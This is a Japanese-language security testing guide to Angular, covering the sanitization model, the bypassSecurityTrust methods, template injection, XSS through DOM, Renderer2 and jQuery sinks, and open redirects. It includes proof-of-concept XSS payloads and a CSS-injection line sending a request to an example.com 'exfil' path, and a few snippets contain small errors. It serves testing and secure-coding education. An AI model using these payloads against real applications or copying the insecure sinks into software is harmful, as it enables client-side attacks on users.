Angular

Reading time: 29 minutes

チェックリスト

チェックリスト こちらから

  • Angularはクライアントサイドフレームワークと見なされ、サーバーサイドの保護を提供することは期待されていない
  • スクリプトのソースマップはプロジェクト設定で無効になっている
  • 信頼できないユーザー入力は常にテンプレートで使用される前に補間またはサニタイズされる
  • ユーザーはサーバーサイドまたはクライアントサイドのテンプレートを制御できない
  • 信頼できないユーザー入力は、アプリケーションによって信頼される前に適切なセキュリティコンテキストを使用してサニタイズされる
  • BypassSecurity* メソッドは信頼できない入力と共に使用されない
  • 信頼できないユーザー入力は、ElementRefRenderer2DocumentなどのAngularクラスや他のJQuery/DOMシンクに渡されない

Angularとは

Angularは、Googleによって維持されている強力なかつオープンソースのフロントエンドフレームワークです。TypeScriptを使用してコードの可読性とデバッグを向上させます。強力なセキュリティメカニズムにより、AngularはXSSオープンリダイレクトなどの一般的なクライアントサイドの脆弱性を防ぎます。また、サーバーサイドでも使用できるため、両方の視点からセキュリティの考慮が重要です。

フレームワークアーキテクチャ

Angularの基本をよりよく理解するために、その基本的な概念を見ていきましょう。

一般的なAngularプロジェクトは通常次のようになります:

bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

ドキュメントによると、すべてのAngularアプリケーションには少なくとも1つのコンポーネント、すなわちコンポーネント階層をDOMに接続するルートコンポーネント(AppComponent)があります。各コンポーネントは、アプリケーションデータとロジックを含むクラスを定義し、ターゲット環境に表示されるビューを定義するHTMLテンプレートに関連付けられています。@Component()デコレーターは、その直下のクラスをコンポーネントとして識別し、テンプレートおよび関連するコンポーネント固有のメタデータを提供します。AppComponentapp.component.tsファイルで定義されています。

Angular NgModulesは、アプリケーションドメイン、ワークフロー、または密接に関連する機能セットに専念したコンポーネントのセットのコンパイルコンテキストを宣言します。すべてのAngularアプリケーションには、通常AppModuleと呼ばれるルートモジュールがあり、アプリケーションを起動するブートストラップメカニズムを提供します。アプリケーションは通常、多くの機能モジュールを含みます。AppModuleapp.module.tsファイルで定義されています。

Angular Router NgModuleは、アプリケーション内の異なるアプリケーション状態とビュー階層の間でナビゲーションパスを定義できるサービスを提供します。RouterModuleapp-routing.module.tsファイルで定義されています。

特定のビューに関連付けられていないデータやロジックを共有したい場合は、サービスクラスを作成します。サービスクラスの定義は、@Injectable()デコレーターによって直前に示されます。このデコレーターは、他のプロバイダーがクラスに依存関係として注入されることを可能にするメタデータを提供します。依存性注入(DI)により、コンポーネントクラスをスリムで効率的に保つことができます。これらはサーバーからデータを取得したり、ユーザー入力を検証したり、コンソールに直接ログを記録したりすることはなく、そのようなタスクをサービスに委任します。

Sourcemap configuration

Angularフレームワークは、tsconfig.jsonオプションに従ってTypeScriptファイルをJavaScriptコードに変換し、その後angular.json構成でプロジェクトをビルドします。angular.jsonファイルを見ると、ソースマップを有効または無効にするオプションがあることがわかりました。Angularのドキュメントによると、デフォルトの構成ではスクリプト用のソースマップファイルが有効になっており、デフォルトでは隠されていません。

json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

一般的に、sourcemapファイルはデバッグ目的で使用され、生成されたファイルを元のファイルにマッピングします。したがって、プロダクション環境での使用は推奨されません。sourcemapsが有効になっている場合、Angularプロジェクトの元の状態を再現することで可読性が向上し、ファイル分析に役立ちます。しかし、無効にされている場合、レビュアーはアンチセキュリティパターンを検索することでコンパイルされたJavaScriptファイルを手動で分析できます。

さらに、AngularプロジェクトのコンパイルされたJavaScriptファイルは、ブラウザの開発者ツール → Sources(または Debugger and Sources) → [id].main.js で見つけることができます。有効なオプションに応じて、このファイルの最後に //# sourceMappingURL=[id].main.js.map という行が含まれている場合もあれば、hiddenオプションがtrueに設定されている場合は含まれていないこともあります。それにもかかわらず、scriptsのsourcemapが無効になっている場合、テストはより複雑になり、ファイルを取得することはできません。さらに、プロジェクトビルド中にsourcemapを有効にすることができます。例えば、ng build --source-mapのように。

データバインディング

バインディングは、コンポーネントとその対応するビュー間の通信プロセスを指します。これは、Angularフレームワークにデータを送受信するために使用されます。データは、イベント、補間、プロパティ、または双方向バインディングメカニズムを通じて渡すことができます。さらに、データは関連するコンポーネント(親子関係)間や、サービス機能を使用して無関係な2つのコンポーネント間でも共有できます。

バインディングはデータフローによって分類できます:

  • データソースからビューターゲットへ(interpolationpropertiesattributesclasses、_styles_を含む);テンプレートで [] または {{}} を使用して適用できます;
  • ビューターゲットからデータソースへ(_events_を含む);テンプレートで () を使用して適用できます;
  • 双方向;テンプレートで [()] を使用して適用できます。

バインディングは、プロパティ、イベント、属性、およびソースディレクティブの任意のパブリックメンバーに対して呼び出すことができます:

タイプターゲット
プロパティ要素プロパティ、コンポーネントプロパティ、ディレクティブプロパティ<img [alt]="hero.name" [src]="heroImageUrl">
イベント要素イベント、コンポーネントイベント、ディレクティブイベント<button type="button" (click)="onSave()">保存
双方向イベントとプロパティ<input [(ngModel)]="name">
属性属性(例外)<button type="button" [attr.aria-label]="help">help
クラスクラスプロパティ<div [class.special]="isSpecial">特別
スタイルスタイルプロパティ<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angularセキュリティモデル

Angularの設計には、すべてのデータのエンコーディングまたはサニタイズがデフォルトで含まれており、AngularプロジェクトにおけるXSS脆弱性の発見と悪用がますます困難になっています。データ処理には2つの異なるシナリオがあります:

  1. 補間または {{user_input}} - コンテキストに応じたエンコーディングを行い、ユーザー入力をテキストとして解釈します;
jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

結果: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. プロパティ、属性、クラス、スタイルへのバインディングまたは [attribute]="user_input" - 提供されたセキュリティコンテキストに基づいてサニタイズを行います。

jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

結果: <div><h1>test</h1></div>

SecurityContextには6種類があります:

  • None;
  • HTMLは、値をHTMLとして解釈する際に使用されます;
  • STYLEは、CSSをstyleプロパティにバインディングする際に使用されます;
  • URLは、<a href>のようなURLプロパティに使用されます;
  • SCRIPTは、JavaScriptコードに使用されます;
  • RESOURCE_URLは、コードとして読み込まれ実行されるURLで、例えば<script src>で使用されます。

脆弱性

セキュリティトラストメソッドのバイパス

Angularは、デフォルトのサニタイズプロセスをバイパスし、特定のコンテキストで値が安全に使用できることを示すためのメソッドのリストを導入しています。以下の5つの例のように:

  1. bypassSecurityTrustUrlは、指定された値が安全なスタイルURLであることを示すために使用されます:
jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">クリックしてください</a>

//結果
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">クリックしてください</a>
  1. bypassSecurityTrustResourceUrlは、指定された値が安全なリソースURLであることを示すために使用されます:
jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//結果
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtmlは、指定された値が安全なHTMLであることを示すために使用されます。script要素をこの方法でDOMツリーに挿入しても、含まれるJavaScriptコードは実行されません。これは、これらの要素がDOMツリーに追加される方法によるものです。
jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>htmlタグ</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//結果
<h1>htmlタグ</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScriptは、指定された値が安全なJavaScriptであることを示すために使用されます。ただし、このメソッドを使用してテンプレート内でJSコードを実行できなかったため、その動作は予測不可能であることがわかりました。
jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//結果
-
  1. bypassSecurityTrustStyleは、指定された値が安全なCSSであることを示すために使用されます。以下の例はCSSインジェクションを示しています:
jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//結果
リクエストURL: GET example.com/exfil/a

Angularは、ビューに表示する前にデータをサニタイズするための sanitize メソッドを提供します。このメソッドは、提供されたセキュリティコンテキストを使用し、入力を適切にクリーンアップします。ただし、特定のデータとコンテキストに対して正しいセキュリティコンテキストを使用することが重要です。たとえば、HTMLコンテンツに SecurityContext.URL を適用すると、危険なHTML値に対する保護は提供されません。このようなシナリオでは、セキュリティコンテキストの誤用がXSS脆弱性を引き起こす可能性があります。

HTMLインジェクション

この脆弱性は、ユーザー入力が innerHTMLouterHTML、または iframe srcdoc のいずれかの3つのプロパティにバインドされるときに発生します。これらの属性にバインドすると、HTMLがそのまま解釈され、入力は SecurityContext.HTML を使用してサニタイズされます。したがって、HTMLインジェクションは可能ですが、クロスサイトスクリプティング(XSS)は発生しません。

innerHTMLを使用した例:

jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

テンプレートインジェクション

クライアントサイドレンダリング (CSR)

Angularは、ページを動的に構築するためにテンプレートを利用します。このアプローチは、Angularが評価するためのテンプレート式を二重波括弧({{}})で囲むことを含みます。このようにして、フレームワークは追加の機能を提供します。例えば、{{1+1}}というテンプレートは2として表示されます。

通常、Angularはテンプレート式と混同される可能性のあるユーザー入力(例:`< > ' " ``のような文字)をエスケープします。これは、ブラックリストに載っている文字を使用しないようにJavaScript文字列オブジェクトを生成する関数を利用するなど、この制限を回避するために追加の手順が必要であることを意味します。しかし、これを達成するためには、Angularのコンテキスト、そのプロパティ、および変数を考慮する必要があります。したがって、テンプレートインジェクション攻撃は次のように見えるかもしれません:

jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

上記のように、constructorはObjectのconstructorプロパティのスコープを指し、Stringコンストラクタを呼び出して任意のコードを実行することを可能にします。

サーバーサイドレンダリング (SSR)

CSRがブラウザのDOMで発生するのに対し、Angular UniversalはテンプレートファイルのSSRを担当します。これらのファイルはユーザーに配信されます。この区別にもかかわらず、Angular UniversalはSSRのセキュリティを強化するためにCSRで使用されるのと同じサニタイズメカニズムを適用します。SSRにおけるテンプレートインジェクションの脆弱性は、使用されるテンプレート言語が同じであるため、CSRと同じ方法で検出できます。

もちろん、PugやHandlebarsなどのサードパーティのテンプレートエンジンを使用する際に、新しいテンプレートインジェクションの脆弱性が導入される可能性もあります。

XSS

DOMインターフェース

前述のように、_Document_インターフェースを使用してDOMに直接アクセスできます。ユーザー入力が事前に検証されていない場合、クロスサイトスクリプティング (XSS) の脆弱性につながる可能性があります。

以下の例では、document.write()およびdocument.createElement()メソッドを使用しました:

jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angularクラス

AngularでDOM要素を操作するために使用できるクラスがいくつかあります:ElementRefRenderer2Location、およびDocument。最後の2つのクラスについての詳細な説明は、Open redirectsセクションに記載されています。最初の2つの主な違いは、Renderer2 APIがDOM要素とコンポーネントコードの間に抽象化の層を提供するのに対し、ElementRefは単に要素への参照を保持することです。したがって、Angularのドキュメントによれば、ElementRef APIは、DOMへの直接アクセスが必要な場合の最後の手段としてのみ使用されるべきです。

  • ElementRefには、DOM要素を操作するために使用できるnativeElementプロパティが含まれています。ただし、nativeElementの不適切な使用は、以下に示すようにXSSインジェクションの脆弱性を引き起こす可能性があります:
tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Renderer2がネイティブ要素への直接アクセスがサポートされていない場合でも安全に使用できるAPIを提供するにもかかわらず、いくつかのセキュリティの欠陥があります。Renderer2を使用すると、setAttribute()メソッドを使用してHTML要素に属性を設定できますが、XSS防止メカニズムはありません。
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • DOM要素のプロパティを設定するには、Renderer2.setProperty()メソッドを使用してXSS攻撃を引き起こすことができます:
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

私たちの研究中に、setStyle()createComment()、およびsetValue()などの他のRenderer2メソッドの動作もXSSおよびCSSインジェクションに関連して調査しました。しかし、これらのメソッドの機能的制限のため、有効な攻撃ベクターを見つけることはできませんでした。

jQuery

jQueryは、HTML DOMオブジェクトの操作を助けるためにAngularプロジェクトで使用できる、迅速で小さく、機能豊富なJavaScriptライブラリです。しかし、知られているように、このライブラリのメソッドはXSS脆弱性を引き起こすために悪用される可能性があります。Angularプロジェクトで脆弱なjQueryメソッドがどのように悪用されるかを議論するために、このサブセクションを追加しました。

  • html()メソッドは、一致した要素のセットの最初の要素のHTMLコンテンツを取得するか、すべての一致した要素のHTMLコンテンツを設定します。しかし、設計上、HTML文字列を受け入れるjQueryのコンストラクタやメソッドは、コードを実行する可能性があります。これは、<script>タグの注入や、コードを実行するHTML属性の使用によって発生する可能性があります。
tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML()メソッドは、文字列を一連のDOMノードに変換するためにネイティブメソッドを使用し、それをドキュメントに挿入できます。
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

前述のように、HTML文字列を受け入れるほとんどのjQuery APIは、HTMLに含まれるスクリプトを実行します。jQuery.parseHTML()メソッドは、keepScriptsが明示的にtrueでない限り、解析されたHTML内のスクリプトを実行しません。しかし、ほとんどの環境では、<img onerror>属性を介してスクリプトを間接的に実行することが可能です。

tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Open redirects

DOMインターフェース

W3Cのドキュメントによると、window.locationおよびdocument.locationオブジェクトは、現代のブラウザではエイリアスとして扱われます。これが、いくつかのメソッドやプロパティの実装が似ている理由であり、これにより、以下に示すようにjavascript://スキーマ攻撃によるオープンリダイレクトやDOM XSSが引き起こされる可能性があります。

  • window.location.href(およびdocument.location.href

現在のDOMロケーションオブジェクトを取得するための標準的な方法は、window.locationを使用することです。また、これを使用してブラウザを新しいページにリダイレクトすることもできます。その結果、このオブジェクトを制御することで、オープンリダイレクトの脆弱性を悪用することができます。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

以下のシナリオに対する悪用プロセスは同じです。

  • window.location.assign()(およびdocument.location.assign()

このメソッドは、指定されたURLのドキュメントを読み込み、表示するためにウィンドウを原因します。このメソッドを制御できる場合、オープンリダイレクト攻撃のためのシンクになる可能性があります。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(およびdocument.location.replace()

このメソッドは、現在のリソースを提供されたURLのものと置き換えます。

assign()メソッドとの違いは、window.location.replace()を使用した後、現在のページがセッション履歴に保存されないことです。しかし、このメソッドを制御できる場合、オープンリダイレクトの脆弱性を悪用することも可能です。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open()メソッドは、URLを受け取り、それが識別するリソースを新しいタブまたはウィンドウに読み込みます。このメソッドを制御できる場合、XSSまたはオープンリダイレクトの脆弱性を引き起こす機会があるかもしれません。

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angularクラス

  • Angularのドキュメントによれば、AngularのDocumentはDOMドキュメントと同じであり、Angular内のクライアントサイドの脆弱性を悪用するためにDOMドキュメントの一般的なベクターを使用することが可能です。Document.locationプロパティとメソッドは、以下の例に示すように、成功したオープンリダイレクト攻撃のシンクになる可能性があります:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • 研究段階では、オープンリダイレクトの脆弱性についてAngularのLocationクラスもレビューしましたが、有効なベクターは見つかりませんでした。Locationは、アプリケーションがブラウザの現在のURLと対話するために使用できるAngularサービスです。このサービスには、与えられたURLを操作するためのいくつかのメソッドがあります - go()replaceState()、およびprepareExternalUrl()。ただし、外部ドメインへのリダイレクトには使用できません。例えば:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

結果:http://localhost:4200/http://google.com/about

  • AngularのRouterクラスは主に同じドメイン内のナビゲーションに使用され、アプリケーションに追加の脆弱性を導入しません:
jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

結果:http://localhost:4200/https:

以下のメソッドもドメインの範囲内でナビゲートします:

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

参考文献